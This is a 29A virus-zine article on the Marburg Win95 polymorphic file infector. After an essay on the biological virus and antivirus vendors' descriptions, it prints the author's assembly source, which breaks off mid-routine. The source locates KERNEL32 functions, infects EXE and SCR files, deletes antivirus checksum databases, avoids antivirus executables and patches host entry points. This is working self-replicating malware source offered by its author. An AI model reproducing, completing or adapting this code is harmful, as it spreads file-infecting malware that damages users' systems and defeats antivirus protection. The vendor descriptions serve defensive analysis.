Copy Link
Add to Bookmark
Report
29A Issue 03 04 05
Marburg virus - BioCoded by GriYo / 29A
---------------------------------------
Index:
------
1 - About the biological version
2 - Author's description
3 - Description from Datafellows
4 - Description from AVP
5 - Description from DrSolomon
6 - Marburg source code
1 - About the biological version
--------------------------------
1967: Marburg/Frankfurt, Germany.
Laboratory workers preparing primary cell cultures from African
green monkeys resulted in an outbreak of a previously unrecognised disease.
Highly infectious: 31 cases, 7 deaths.
1976:
Outbreak of a previously unrecognised haemorrhagic fever in Zaire
and Sudan 'Ebola disease': 500 diagnosed cases, 460 deaths.
Ebola virus, a member of the Filoviridae, burst from obscurity with
spectacular outbreaks of severe, haemorrhagic fever. It was first
associated with an outbreak of 318 cases and a case-fatality rate of 90%
in Zaire and caused 150 deaths among 250 cases in Sudan. Smaller outbreaks
continue to appear periodically, particularly in East, Central and southern
Africa. In 1989, a haemorrhagic disease was recognized among cynomolgus
macaques imported into the United States from the Philippines. Strains of
Ebola virus were isolated from these monkeys. Serologic studies in the
Philippines and elsewhere in Southeast Asia indicated that Ebola virus is a
prevalent cause of infection among macaques.
These threadlike polymorphic viruses are highly variable in length
apparently owing to concatemerization. However, the average length of an
infectious virion appears to be 920 nm. The virions are 80 nm in diameter
with a helical nucleocapsid, a membrane made of 10 nm projections, and
host cell membrane. They contain a unique single-stranded molecule of
noninfectious (negative sense) RNA. The virus is composed of 7
polypeptides, a nucleoprotein, a glycoprotein, a polymerase and 4 other
undesignated proteins. Proteins are produced from polyadenylated
monocistronic mRNA species transcribed from virus RNA. The replication in
and destruction of the host cell is rapid and produces a large number of
viruses budding from the cell membrane.
Epidemics have resulted from person to person transmission, nosocomial
spread or laboratory infections. The mode of primary infection and the
natural ecology of these viruses are unknown. Association with bats has
been implicated directly in at least 2 episodes when individuals entered
the same bat-filled cave in Eastern Kenya. Ebola infections in Sudan in
1976 and 1979 occurred in workers of a cotton factory containing thousands
of bats in the roof. However, in all instances, study of antibody in bats
failed to detect evidence of infection, and no virus was isolated from bat
tissue.
The index case in 1976 was never identified, but this large outbreak
resulted in 280 deaths of 318 infections. The outbreak was primarily the
result of person to person spread and transmission by contaminated needles
in outpatient and inpatient departments of a hospital and subsequent
person to person spread in surrounding villages. In serosurveys in Zaire,
antibody prevalence to Ebola virus has been 3 to 7%. The incubation period
for needle-transmitted Ebola virus is 5 to 7 days and that for person to
person transmitted disease is 6 to 12 days.
The virus spreads through the blood and is replicated in many organs.
The histopathologic change is focal necrosis in these organs, including
the liver, lymphatic organs, kidneys, ovaries and testes. The central
lesions appear to be those affecting the vascular endothelium and
the platelets. The resulting manifestations are bleeding, especially in
the mucosa, abdomen, pericardium and vagina. Capillary leakage appears to
lead to loss of intravascular volume, bleeding, shock and the acute
respiratory disorder seen in fatal cases. Patients die of intractable shock.
Those with severe illness often have sustained high fevers and are
delirious, combative and difficult to control.
The serologic method used in the discovery of Ebola was the direct
immunofluorescent assay. The test is performed on a monolayer of infected
and uninfected cells fixed on a microscopic slide. IgG- or IgM-specific
immunoglobulin assays are performed. These tests may then be confirmed
by using western blot or radioimmunoprecipitation. Virus isolation is also
a highly useful diagnostic method, and is performed on suitably preserved
serum, blood or tissue specimens stored at -70oC or freshly collected.
No specific antiviral therapy presently exists against Ebola virus, nor does
interferon have any effect. Past recommendations for isolation of the
patient in a plastic isolator have given way to the more moderate
recommendation of strict barrier isolation with body fluid precautions.
This presents no excess risk to the hospital personnel and allows
substantially better patient care, as shown in Table 2. The major factor in
nosocomial transmission is the combination of the unawareness of the
possibility of the disease by a worker who is also inattentive to the
requirements of effective barrier nursing. after diagnosis, the risk of
nosocomial transmission is small.
The basic method of prevention and control is the interruption of person to
person spread of the virus. However, in rural areas, this may be difficult
because families are often reluctant to admit members to the hospital
because of limited resources and the culturally unacceptable separation
of sick or dying patients from the care of their family. Experience
with human disease and primate infection suggests that a vaccine inducing a
strong cell-mediated response will be necessary for virus clearance and
adequate protection. Neutralizing antibodies are not observed in
convalescent patients nor do they occur in primates inoculated with killed
vaccine. A vaccine expressing the glycoprotein in vaccinia is being
prepared for laboratory evaluation.
Emerging & Re-emerging Viruses: An Essay
Alison Jacobson
Department of Microbiology
University of Cape Town
2 - Author's description
------------------------
Marburg is a direct action Win32 executable files infector. Lets
look at its features in more detail...
2.1. Infection
When an infected file is run the virus will look for *.EXE and *.SCR
files in current directory, as well as WINDOWS and WINDOWS system
directories. Marburg use size padding to mark infected files. Depending on
the internal format of each file the virus sometimes infects them without
modifying the entry-point field in the file header. In some files Marburg
overwrites the code at its host entry-point with a block or polymorphic
code. This code is used to hide the branch to viral code. Marburg infects
files by mapping them in memory. This allows the virus to speed up its
infection procedures.
2.2. Polymorphism
The virus is encrypted under a polymorphic decryptor. The
polymorphic engine uses slow mutation technics and can generate lots of
different looking code.
2.3. Retro
Some intergrity checksum files deleted on infection.
2.4. Error-handling
The virus startup and infection routines uses estructured exception
handling to prevent the virus from causing FAULTS at any time. This makes
Marburg a very stable virus.
2.5. Payload
A nice graphic payload inside... I think this is a must for viruses
that works under GUI.
3 - Description from Datafellows
--------------------------------
NAME: Marburg
TYPE: Non-resident EXE -files
The Win95/Marburg virus got widespread circulation in August 1998,
when it was included on the master CD of the popular MGM/EA PC CD-ROM game
"Wargames". The CD contains one file infected by the Marburg virus:
\EREG\EREG32.EXE
MGM - the publisher of the game - made an announcment on this on
12th of August, 1998:
--------
From: "K.Egan (MGM)" kegan@mgm.com
Subject: MGM WarGames Statement
Date: Wed, 12 Aug 1998 18:03:39 -0700
MGM Interactive recently learned that its WarGames PC game shipped
with the Win32/Marburg.a virus contained in the electronic
registration program. The company is working as fast as it can to
resolve the problem.
...
MGM Interactive is committed to delivering top quality products to
consumers. This is an unfortunate circumstance and we sincerely
apologize for any convenience this has caused you.
...
If you have any questions or if you would like to receive a
replacement disc, please contact MGM Interactive.
--------
The same virus also got widespread circulation in August 1998, when it was
included on the cover CD of the Australian "PC Power Play" magazine. This CD
contains these files infected by the Marburg virus:
\GAMES\MAX2\MAX2BETA.EXE
\GAMES\STARTREK\FURYDEMO.EXE
In July 1998, the Win95/Marburg virus got yet again widespread circulation
when it was included by accident on the cover CD of the UK-based PC Gamer
Magazine's July 1998 edition. The infected files are on "CD Gamer 2"
included with the magazine, and are called:
\UTILS\XEARTH\XEARTH.EXE
\UTILS\QPAINT\QPAINT.EXE
\VIDEO\SMACKPLW.EXE
The SMACKPLW program is automatically executed if you watch any of the
preview videos from the CD. There are localized versions of the PC Gamer
magazine in circulation in addition to the UK edition.
The Swedish edition has these files infected instead of the ones listed
above:
\SHARE\3DJONG\M3DJONGG.EXE
\PATCHAR\QUAKE2\Q2-315~8.EXE
\SPEL\KKND2\DIRECTX\DDHELP.EXE
The Slovenian edition has the same infected files as the UK edition. The
Italian July/August edition is clean.
Marburg is a polymorphic Windows 95/98 virus which contains this text:
[ Marburg ViRuS BioCoded by GriYo/29A ]
Marburg infects Win32 EXE and SCR (screen saver) files, encrypting its own
code with variable polymorphic encryption layer. The polymorphic engine of
the virus is advanced. It encrypts the virus with 8, 16 and 32 bit key with
several different methods. The virus uses slow polymorphisism, which means
that it changes the decryptor of itself very slowly.
Marburg deletes integrity databases of several anti-virus products. It also
avoids infecting many known anti-virus product executable files, including
any executable which has the letter "V" in its name. This is done to avoid
triggering the self-check of these programs.
Marburg activates three months after initial infection. If an infected
application is executed exactly on the same hour as the inital infection,
the virus displays the standard Windows error icon (red cross in white
circle) in random positions all over the screen.
4 - Description from AVP
------------------------
This is a direct action (nonmemory resident) Windows95 polymorphic
virus. It affects PE EXE (Portable Executable) files which it searches in
current, Windows and System directories. Because of bugs the virus is not
able to replicate under Windows NT, so it is Windows95 specific virus.
When an infected file is executed, the virus searches for KERNEL32 routines:
first for GetModuleHandleA and GetProcAddress, then for 22 more functions
(see the list below). While searching the virus uses method similar to
"Win32.Cabanas" virus: while infecting a file the virus scans file's
imported table for GetModuleHandleA and GetProcAddress, and saves these
addresses in virus code. If there are no these entries in table, the virus
scans KERNEL32 code.
If the virus is not able to locate KERNEL32 functions, it immediately
returns to the host file. Otherwise it allocates a block of system memory,
copies its code to there (that's necessary to run virus polymorphic engine),
then searches for files and infects them.
While infecting a file the virus writes its code to the end of file into the
last section, increasing its length beforehand. Before saving its code to
the file the virus encrypts it by polymorphic routine (the polymorphic
engine is very similar with one that was found in "Win95.HPS" virus).
Depending on file structure the virus also does some tricks to make virus
detection and disinfection procedures more complex: either replaces entry
point address in the PE header with its own one (majority of Win32 viruses
infect files in this way), or saves JMP_Virus instruction to the file entry
address and does not modifies it in the PE header (in same way as
"Win32.Cabanas" virus does), or writes to the entry point a polymorphic
junk routine that is followed by JMP_Virus instruction.
Before infecting the virus deletes anti-virus data files: ANTI-VIR.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ. While infecting the virus checks file names
and does not infect files that have 'V' letter in name as well as
anti-viruses PANDA, F-PROT, SCAN.
Depending on the system date (when infected file is executed in three month
during the same hour as being infected) the virus displays at random
selected positions on the screen the standard Windows error icon - red cross
in white circle.
The virus contains the text strings (the first block contains the list of
functions that virus is looking for):
GetModuleHandleA
GetProcAddress
CreateFileA
CreateFileMappingA
MapViewOfFile
UnmapViewOfFile
CloseHandle
FindFirstFileA
FindNextFileA
FindClose
VirtualAlloc
GetWindowsDirectoryA
GetSystemDirectoryA
GetCurrentDirectoryA
SetFileAttributesA
SetFileTime
DeleteFileA
GetCurrentProcess
WriteProcessMemory
LoadLibraryA
GetSystemTime
GetDC
LoadIconA
DrawIcon
[ Marburg ViRuS BioCoded by GriYo/29A ]
KERNEL32.dll USER32.dll
5 - Description from DrSolomon
------------------------------
Win32/Marburg
Polymorphic virus
Infects: Windows-95 executable files
(PE files - "Portable Executable")
This highly polymorphic virus infects Windows-95 executable files
(PE files - "Portable Executable"). When the infected file is run it
searches for executable files to infect in the current directory, the
Windows directory and the System directory. The virus does not go
memory-resident - instead it is a direct action virus. The infected files
always grow in size.
The sizes of infected files are changed by the the virus to be divisible by
101 (decimal). It does this to avoid infecting the same file twice.
If the virus comes across integrity-checking databases (ANTI-VIR.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ) in the above mentioned subdirectories it
deletes them. This is an attempt to avoid detection by certain anti-virus
products.
The virus does not infect any files having letter "V" in the name,
"PAND*.*" , "F-PR*.*" , "SCAN*.*" (this is to avoid infecting certain
anti-virus programs).
The payload of the virus triggers at a random date and displays an error
icon (a red cross on white circle) on the screen.
Marburg has been seen in the wild, and was accidentally distributed on the
cover CD ROM of UK magazine PC Gamer in July 1998. The virus was written by
Griyo of the Spanish virus-writing gang 29A.
6 - Marburg source code
-----------------------
After some time lost into Win32 internals im happy to present my
first attempt at this plattaform. This is a Win95 highly polymorphic direct-
action PE infector.
Greetings to all the people at IRC-Hispano #virus and #hack irc channels.
Special greetings goes this time to Jacky Qwerty, this virus wouldnt be
posible without his support.
-------->8 cut here ---------------------------------------------------------
;············································································
;
; Marburg ViRuS - BioCoded by GriYo / 29A
;
;············································································
.386P
locals
jumps
.model flat,STDCALL
;Include the following files
include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc
;Some externals only used on 1st generation
extrn GetModuleHandleA:NEAR
extrn GetProcAddress:NEAR
extrn ExitProcess:NEAR
;Some assumptions only valid for 1st generation
mem_size equ mem_end-Mem_Base ;Size of virus in memory
inf_size equ inf_end-Mem_Base ;Size of virus in files
init_size equ init_end-Mem_Base ;Size of init code
base_default equ 00400000h ;Default base address
;Current in-build settings
SIZE_PADDING equ 00000065h
DECRYPTOR_SIZE equ 00000800h
BUFFER_EP equ 00000100h
;············································································
;Fake host used for virus 1st generation
;············································································
_TEXT segment dword use32 public 'CODE'
host_entry: ;This code will find the base address of KERNEL32.DLL and
;the entry point for GetProcAddress and GetModuleHandle
;functions
;This part will not be included on future infections
;coz its only needed for virus 1st generation
;Get KERNEL32 module handle
push offset szKernel32
call GetModuleHandleA
or eax,eax
jz exit1st_gen
mov dword ptr [a_Kernel32],eax
;Get address of GetModuleHandle function
push offset szGetModuleH
push eax
call GetProcAddress
or eax,eax
jz exit1st_gen
mov dword ptr [a_GetModuleH],eax
;Get address of GetProcAddress function
push offset szGetProcAddr
push dword ptr [a_Kernel32]
call GetProcAddress
or eax,eax
jz exit1st_gen
mov dword ptr [a_GetProcAddr],eax
;Execute virus
mov ebx,base_default
xor ebp,ebp
call entry1st_gen
exit1st_gen: ;Terminate virus launch process
xor eax,eax
push eax
call ExitProcess
_TEXT ends
;············································································
_DATA segment dword use32 public 'DATA'
_DATA ends
;············································································
_BSS segment dword use32 public 'BSS'
_BSS ends
;············································································
;Virus main body
;············································································
virseg segment dword use32 public 'Marburg'
Mem_Base equ this byte
virus_entry: ;Get delta offset and host base address
call get_delta
init_end equ this byte
get_delta: pop ebp
mov ebx,ebp
sub ebp,offset get_delta
;Get host base address
;Generate a SUB ebx,fix_baseaddr instruction
db 81h,0EBh
fix_baseaddr dd 00000000h
;Prepare return address
mov eax,ebx
;Generate ADD eax,rva_org_eip
db 05h
rva_org_eip dd 00000000h
;Save host entry-point into stack, we will jump there
;later using a RET
push eax
entry1st_gen: ;End of virus initialization, at this point:
;
; ss:[esp] - Host entry-point
; ebx - Base address
; ebp - Delta offset
;
;Check if we know the GetModuleHandle entry point
;If we dont know it try to get KERNEL32 base
;address using our own code
db 0B8h
rva_GetModuleH dd offset a_GetModuleH-base_default
or eax,eax
jz use_our_own_1
;Yes, eax is the rva for the function address
push dword ptr [eax+ebx]
pop dword ptr [ebp+a_GetModuleH]
;Now we know the address of GetModuleHandle,
;so use it in order to get KERNEL32.dll
;base address
;If the function fails try to get KERNEL32 base
;address using our own function
lea eax,dword ptr [ebp+szKernel32]
push eax
call dword ptr [ebp+a_GetModuleH]
or eax,eax
jnz got_kernel
use_our_own_1: ;No, grrr, try to get it by ourself
call my_getkernel
or eax,eax
jz err_virus_init
got_kernel: ;Save KERNEL32 base address for l8r use
mov dword ptr [ebp+a_Kernel32],eax
;Now check if we know the GetProcAddress entry point
db 0B8h
rva_GetProcAddr dd offset a_GetProcAddr-base_default
or eax,eax
jz use_our_own_2
;Yes, eax is the rva for the function address
push dword ptr [eax+ebx]
pop eax
jmp short got_getprocaddr
use_our_own_2: ;Use our own routine to get GetProcAddress entry point
call my_GetProcAddr
got_getprocaddr:;Save GetProcAddress entry point for l8r use
mov dword ptr [ebp+a_GetProcAddr],eax
;Use GetProcAddress to get the rest of function addresses
call get_functions
jecxz err_virus_init
;Allocate some memory for the virus
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push mem_size+inf_size
push 00000000h
call dword ptr [ebp+a_VirtualAlloc]
;Exit if cant find free memory... mmm...
or eax,eax
jz err_virus_init
;Copy virus to allocated memory
lea esi,dword ptr [ebp+Mem_Base]
mov edi,eax
mov ecx,mem_size
cld
rep movsb
;Jump to virus code into allocated memory
add eax,mem_entry-Mem_Base
jmp eax
;············································································
;Entry point for resident code
;············································································
mem_entry: ;From this point we no longer care about host
;base address
call mem_delta
mem_delta: pop ebp
sub ebp,offset mem_delta
;Get current system time
lea eax,dword ptr [ebp+my_system_time]
push eax
call dword ptr [ebp+a_GetSysTime]
;It's time to call our payload routine????
mov ax,word ptr [ebp+inf_month]
add ax,0003h
mov dx,000Ch
cmp ax,dx
jbe check_month
sub ax,dx
check_month: cmp ax,word ptr [ebp+time_month]
jne viral_sleep
mov ax,word ptr [ebp+inf_day]
cmp ax,word ptr [ebp+time_day]
jne viral_sleep
call payload
viral_sleep: ;Do direct action stuff
;The virus will infect files on \WINDOWS, \SYSTEM and
;current directory
;Try to infect files in current directory
lea eax,dword ptr [ebp+szWorkDir]
push eax
push MAX_PATH
call dword ptr [ebp+a_GetCurDir]
or eax,eax
jz try_windir
call do_in_dir
try_windir: ;Get windows directory
push MAX_PATH
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_GetWindowsDir]
or eax,eax
jz try_sysdir
;Try to infect files in \WINDOWS directory
call do_in_dir
try_sysdir: ;Get system directory
push MAX_PATH
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_GetSystemDir]
or eax,eax
jz err_virus_init
;Try to infect files in \SYSTEM directory
call do_in_dir
err_virus_init: ;We have to restore code at host entry-point?
xor eax,eax
cmp dword ptr [ebp+insert_size],eax
je back2host
;Get current process
call dword ptr [ebp+a_GetCurProc]
;Restore host entry-point code
;Use WriteProcessMemory in order to prevent exceptions
;while writing to protected areas
pop edx
push edx
xor ecx,ecx
push ecx
push dword ptr [ebp+insert_size]
lea ecx,dword ptr [ebp+entry_code]
push ecx
push edx
push eax
call dword ptr [ebp+a_WriteProcMem]
back2host: ;Back to host
ret
;············································································
;Infect *.EXE and *.SCR files in specified path
;············································································
do_in_dir: ;The virus will not infect files in the root directory
;directory
;
;Entry:
;
;eax - path string size
;
;Exit:
;
;None
;
;Trying to infect files in root directory?
cmp eax,00000004h
jb file_not_found
;Delete some AV checksum databases
mov edx,eax
mov ecx,(end_AV_files-tbl_AV_files)/04h
lea esi,dword ptr [ebp+tbl_AV_files]
loop_del_AV: lodsd
push esi
add eax,ebp
mov esi,eax
call delete_file
pop esi
loop loop_del_AV
;Insert *.* into path
lea esi,dword ptr [ebp+szSearch]
call copy_szMask
;FindFirstFile
lea eax,dword ptr [ebp+my_FindData]
push eax
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_FindFirst]
cmp eax,INVALID_HANDLE_VALUE
je file_not_found
;Save the search handle
mov dword ptr [ebp+Search_h],eax
try_this_file: ;Check file size
xor eax,eax
cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax
jne cant_open
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING)
jae cant_open
;Check if file is already infected
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jz cant_open
;Add filename to path
cld
lea esi,dword ptr [ebp+szWorkDir]
mov edx,esi
do_path_1: lodsb
cmp al,"\"
jne avoid_path
mov edx,esi
avoid_path: or al,al
jne do_path_1
lea esi,dword ptr [ebp+my_FindData.WFD_szFileName]
mov edi,edx
do_path_2: lodsb
cmp al,"a"
jb char_is_ok
sub al,("a"-"A")
char_is_ok: cmp al,"V"
je cant_open
stosb
or al,al
jnz do_path_2
;The virus does not infect files with V character in their
;names as well as the following programs:
mov eax,dword ptr [edx]
;Panda antivirus
cmp eax,"DNAP"
je cant_open
;Datafellows F-Prot
cmp eax,"RP-F"
je cant_open
;McAfee Scan
cmp eax,"NACS"
je cant_open
;Check file extension, allow *.EXE and *.SRC files
mov eax,dword ptr [edi-00000005h]
cmp eax,"EXE."
je target_file
cmp eax,"RCS."
jne cant_open
target_file: ;Open and map file
call open_map_file
or eax,eax
jz cant_open
;Check if we can infect this file
call check_victim
jecxz bad_host
atach_2host: ;Infect file
call infect_file
jnc search_end
jmp short cant_open
bad_host: ;File cant be infected, skip it
call unmap_close
cant_open: ;Find next file
lea eax,dword ptr [ebp+my_FindData]
push eax
push dword ptr [ebp+Search_h]
call dword ptr [ebp+a_FindNext]
cmp eax,FALSE
jne try_this_file
search_end: ;Close Win32 find handle
push dword ptr [ebp+Search_h]
call dword ptr [ebp+a_FindClose]
file_not_found: ret
;············································································
;Copy search mask into work path
;············································································
copy_szMask: ;Entry:
;
;edx - Filename offset in path string
;esi - Search mask
;
;Exit:
;
;None
;
cld
lea edi,dword ptr [ebp+edx+szWorkDir]
mov al,"\"
stosb
loop_copy_name: lodsb
stosb
or al,al
jnz loop_copy_name
ret
;············································································
;Delete file in work path
;············································································
delete_file: ;Entry:
;
;edx - Filename offset in path string
;esi - File to delete
;
;Exit:
;
;None
;
;Add filename to path
push ecx
push edx
call copy_szMask
;Reset attributes so we can delete write protected files
push FILE_ATTRIBUTE_NORMAL
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_SetFileAttr]
;Delete file
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_DeleteFile]
pop edx
pop ecx
ret
;············································································
;Check if a given file can be infected
;············································································
check_victim: ;The host must be PE, fit allowed size and import at least
;one function from Kernel32
;
;Entry:
;
;a_Kernel32 - Base address for kernel32
;eax - Base address for memory mapped file
;
;Exit:
;
;ecx - Null if error
;eax - Preserved
;
;Save host base address
push ebp
push eax
;Set structured exception handler
call SEH_SetFrame01
mov esp,dword ptr [esp+00000008h]
err_checkfile: xor ecx,ecx
jmp SEH_error01
SEH_SetFrame01: xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
;Search for Kernel32 Import Module Descriptor, abort
;infection if not found
mov ebx,eax
;ebx - Base address of host in memory
;Check for MZ signature at base address
cld
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne err_checkfile
;Check file address of relocation table
cmp word ptr [ebx+DH_lfarlc],0040h
jb err_checkfile
;Now go to the pe header and check for the PE signature
mov esi,dword ptr [ebx+DH_lfanew]
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne err_checkfile
;Check machine field in IMAGE_FILE_HEADER
;just allow i386 PE files
cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
jne err_checkfile
;Now check the characteristics, look if file
;is an executable
mov ax,word ptr [esi+FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz err_checkfile
;Avoid DLL's
test ax,IMAGE_FILE_DLL
jnz err_checkfile
;Get pointer to imports raw data
mov edx,dword ptr [esi+OH_DataDirectory. \
DE_Import. \
DD_VirtualAddress+ \
IMAGE_SIZEOF_FILE_HEADER]
call RVA2RAW
jecxz err_checkfile
mov eax,ecx
next_imd_img: ;Search for kernel32 through the array of imported
;module descriptors
lea edi,dword ptr [ebp+offset szKernel32]
mov esi,dword ptr [eax+ID_Name]
;Exit if the RVA to dll name doesnt exist
or esi,esi
jz err_checkfile
;Sub the delta offset
sub esi,edx
;Get absolute address of dll name
add esi,ebx
;Compare names
mov ecx,00000008h
push eax
dll_loop: ;Get character from name into imports
lodsb
;Check if character is in lowercase
cmp al,"a"
jb check_char
;Convert character to uppercase
sub al,("a"-"A")
check_char: ;Compare characters with our KERNEL32 string
scasb
jne bad_dll
loop dll_loop
verify_ok: ;Name matched, get import module descriptor
pop edi
;Mutate RVAs
call mutate_rvas
;Avoid files with IMAGE_SCN_MEM_SHARED in its
;last section attributes
call get_last_sh
test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED
jnz err_checkfile
;Set ecx != NULL (success flag)
xor ecx,ecx
not ecx
SEH_error01: ;Remove structured exception handler
xor edx,edx
pop dword ptr fs:[edx]
pop edx
;Error, restore base address
pop eax
pop ebp
ret
bad_dll: ;Go to next imported module descriptor
pop eax
add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp short next_imd_img
;············································································
;Find the place where PE saves some useful information
;············································································
mutate_rvas: ;Generate a copy of the virus into a buffer
;This copy will contain some RVAs already
;loaded (GetModuleHandle, GetProcAddress or Kernel32
;ID_ForwarderChain field)
;
;Entry:
;
;ebx - Base address for file
;edx - Section delta offset
;edi - Kernel32 Import Module Descriptor
;
;Exit:
;
;RVA's loaded into virus body (NULL if function not found)
;
;Copy virus to infection buffer
push edi
lea esi,dword ptr [ebp+Mem_Base]
lea edi,dword ptr [esi+mem_size]
mov ecx,inf_size-DECRYPTOR_SIZE
cld
rep movsb
pop edi
;Save rva to ID_ForwarderChain field
lea eax,dword ptr [edi+ID_ForwarderChain]
sub eax,ebx
add eax,edx
mov dword ptr [ebp+rva_kernel32+mem_size],eax
;Check if file is binded
mov eax,dword ptr [ebp+a_Kernel32]
mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew]
add esi,eax
add esi,NT_FileHeader.FH_TimeDateStamp
lodsd
mov esi,dword ptr [edi+ID_FirstThunk]
sub esi,edx
add esi,ebx
cmp eax,dword ptr [edi+ID_TimeDateStamp]
je binded_file
;esi - Import Address Table for KERNEL32
;Save RVA for GetModuleHandle
push esi
lea edi,dword ptr [ebp+szGetModuleH]
call find_by_name
mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
;Save RVA for GetProcAddress
pop esi
lea edi,dword ptr [ebp+szGetProcAddr]
call find_by_name
mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
ret
binded_file: ;esi - Import Address Table for KERNEL32
;Binded GetModuleHandle
push esi
mov edi,dword ptr [ebp+a_GetModuleH]
call find_by_address
mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
;Binded GetProcAddress
pop esi
mov edi,dword ptr [ebp+a_GetProcAddr]
call find_by_address
mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
ret
;············································································
;Get RVA of an API function in a binded file
;············································································
find_by_address:;
;Entry:
;
;edx - Delta offset for last section
;esi - Import Address Table for KERNEL32
;edi - Function entry point
;
;Exit:
;
;eax - RVA of function address (NULL if not found)
;
search_thunk: ;Check if this is the storage address
lodsd
or eax,eax
jz err_by_address
cmp eax,edi
jne search_thunk
;Calculate the offset of that thunk dword into file
lea eax,dword ptr [esi-00000004h]
sub eax,ebx
add eax,edx
ret
err_by_address: xor eax,eax
ret
;············································································
;Find RVA of a function imported by name
;············································································
find_by_name: ;
;Entry:
;
;edx - Delta offset for last section
;esi - Import Address Table for KERNEL32
;edi - Function name
;
;Exit:
;
;eax - RVA of function address (NULL if not found)
;
;Search for function name into IMAGE_IMPORT_BY_NAME
;structure pointed by every dword in the thunk data array
loop_by_name: ;Get address of IMAGE_IMPORT_BY_NAME structure
lodsd
or eax,eax
jz err_by_name
;Get pointer to function name
push esi
push edi
sub eax,edx
lea esi,dword ptr [eax+ebx+00000002h]
;Compare strings
name_by_name: lodsb
or al,al
jz ok_by_name
scasb
je name_by_name
;Go to next entry into Import Address Table
pop edi
pop esi
jmp loop_by_name
ok_by_name: pop edi
pop esi
lea eax,dword ptr [esi-00000004h]
sub eax,ebx
add eax,edx
err_by_name: ret
;············································································
;Infection and mutation
;············································································
infect_file: ;
;Entry:
;
;My_FindData - Win32 FindFile structure filled with data
; about file to infect
;eax - Base address of memory mapped image
;
;Exit:
;
;None
;
;Get last section header
mov ebx,eax
call get_last_sh
;ebx - Host base address
;esi - IMAGE_OPTIONAL_HEADER
;edi - Pointer to last section header
;This will help us later for calculating host base address
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
add eax,dword ptr [edi+SH_VirtualAddress]
sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,init_size
mov dword ptr [ebp+fix_baseaddr+mem_size],eax
;Copy original code at entry point into our buffer
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
mov dword ptr [ebp+rva_org_eip+mem_size],edx
call RVA2RAW
mov esi,ecx
lea edi,dword ptr [ebp+entry_code+mem_size]
mov ecx,BUFFER_EP
rep movsb
;Free memory mapped file
mov eax,ebx
call unmap_close
;Add virus size to file size and re-map it
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
mov dword ptr [ebp+original_size],eax
add eax,inf_size
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax
call open_map_file
or eax,eax
jnz done_re_open
stc
ret
done_re_open: ;ebx - host base address all along the following code
mov ebx,eax
;Initialize poly engine register table
;We are going to insert some garbage code at host
;entry-point, followed by a JMP to polymorphic
;decryptor
;This routine will also initialize random number
;generator
call init_poly
;Check for relocations over entry-point code
call get_last_sh
mov edx,dword ptr [esi+OH_DataDirectory. \
DE_BaseReloc. \
DD_VirtualAddress]
;Lovely file, no relocations, so we cant generate
;lots of polymorphic code at host entry-point
or edx,edx
jz lovely_file
call RVA2RAW
mov edi,esi
mov esi,ecx
;ebx - Host base address
;ecx - Pointer to RAW data or NULL if error
;edx - Section delta offset
;esi - Pointer to section RAWDATA
;edi - Pointer to IMAGE_OPTIONAL_HEADER
;Check relocations over host entry-point code
call do_reloc_work
;We have space for inserting some garbage code?
cmp eax,00000005h
jb fuxoring_file
;Another lovely file, eh?
cmp eax,BUFFER_EP
jb ugly_file
lovely_file: ;We reach this code for 3 posible reasons:
;
; 1) When the target file have no relocations or...
; 2) All the relocations are behind the entry-point or...
; 3) We have lots space from entry-point to 1st reloc
;Save number of bytes to restore at host entry-point
mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP
;Get RAW of entry-point
call get_last_sh
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
call RVA2RAW
mov edi,ecx
;Generate a piece of polymorphic code at host entry-point
push ebx
push edi
call gen_garbage
pop eax
sub eax,edi
pop ebx
;Insert a jump to virus code at entry point
jmp short insert_jump
ugly_file: ;There are no relocations over first five bytes of
;code at host entry-point
;So we can insert a JUMP to virus polymorphic decryptor
;Save size of code to generate
mov dword ptr [ebp+insert_size+mem_size],00000005h
;Where to place the JUMP
mov edx,dword ptr [edi+OH_AddressOfEntryPoint]
call RVA2RAW
mov edi,ecx
xor eax,eax
;Insert a jump to virus code at entry point
insert_jump: push eax
mov al,0E9h
stosb
push edi
call get_last_sh
mov eax,dword ptr [ebp+original_size]
add eax,poly_decryptor-Mem_Base
sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_VirtualAddress]
sub eax,dword ptr [esi+OH_AddressOfEntryPoint]
sub eax,00000005h
pop edi
pop edx
add eax,edx
stosd
;Execution continues on next routine
;············································································
;Attach virus to file
;············································································
back2infection: ;We fall here after the entry-point stuff
;Complete infection and do polymorphic encryption
;Save current system time inside virus body
lea eax,dword ptr [ebp+inf_time+mem_size]
push eax
